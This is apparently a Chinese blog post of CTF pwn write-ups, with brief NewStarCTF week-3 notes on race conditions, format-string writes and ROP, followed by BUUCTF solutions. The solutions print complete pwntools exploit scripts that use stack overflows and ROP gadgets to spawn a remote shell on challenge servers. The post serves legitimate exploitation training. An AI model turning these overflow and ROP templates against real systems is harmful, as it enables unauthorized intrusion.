NewStarCTF WEEK3

WEEK3

cat flag

竞态条件和数据竞争

竞态条件:强调的是被操作的资源A在被对象B操作完之后,其结果与预期的结果不一样。此时受影响的对象是被操作的资源A,并不关心操作资源的对象B是否受到此资源的影响。
​ 比如两个线程A和B对一个数据a进行"++a"操作,如果一个线程B是在另一个线程A操作完之后再取到的数据a,则a的最终结果是正确的。如果A的操作还未完成之前,B就取到a的值并对其进行修改,那么a的最终结果与预期不符。这里就竞态条件。
数据竞争:强调的是访问资源B的对象A在访问资源B的时候取到错误的数据而出现错误的结果。此时受影响的对象是操作资源B的对象A,而不关心资源B本身是否是正确的。
​ 比如一个线程A在修改数据a,此时线程B不知道线程A在修改数据a,并在修改还未完成的情况下取到了a的值并进行别的计算,此时B其实取到的就是错误的值,但是数据a本身没有错误。这里就是数据竞争。
​ 由此看来,两者针对的对象并不一样,但是在同样的环境下也可能会有"竞态条件"和"数据竞争"同时出现的情况。

sheep a flag

​ 利用格式化字符串漏洞进行任意写.

read&write

另类ROP写法:利用数组进行rop构造.

利用数组下标越界进行地址泄露和ROP链参数传递.

return to csu

万能gadget的利用进行ROP链的构造.

buu

rip题解

保护+IDA:

image

main:

image

fun:

image

思路

​ 通过gets函数进行栈溢出跳转到fun函数get shell.

exp:

#coding:utf-8
from pwn import*

res = remote('node4.buuoj.cn',29229)
#res = process('./rip')

pop_rdi = 0x4011fb
ret = 0x401016
binsh = 0x40201b
sys_addr = 0x401040

res.recvuntil('input')
payload=b'a' * (0xf + 0x8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(sys_addr)
res.sendline(payload)
res.interactive()

warm_up

保护+IDA:

image

main:

image

sub_40060D:

image

思路

​ 栈溢出到sub_40060D函数.

exp:

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

#res = process('./warm')
res = remote('node4.buuoj.cn',29527)

payload = b'a' * (0x40 + 0x8) + p64(0x40060D)

res.recvuntil('>')
res.sendline(payload)

res.interactive()

ciscn_2019

保护+IDA:

image

main:

image

fun:

image

数据空间:

image

思路

​ 栈溢出到v2处写入11.28125.

​ 找到11.28125的十六进制表达:

image

exp:

from pwn import *

#res = process('./ciscn')
res = remote('node4.buuoj.cn',26620)

payload = b'a' * 44 + p64(0x41348000)
res.sendline(payload)

res.interactive()  
posted @ 2022-10-13 15:34  络辰  阅读(357)  评论(3编辑  收藏  举报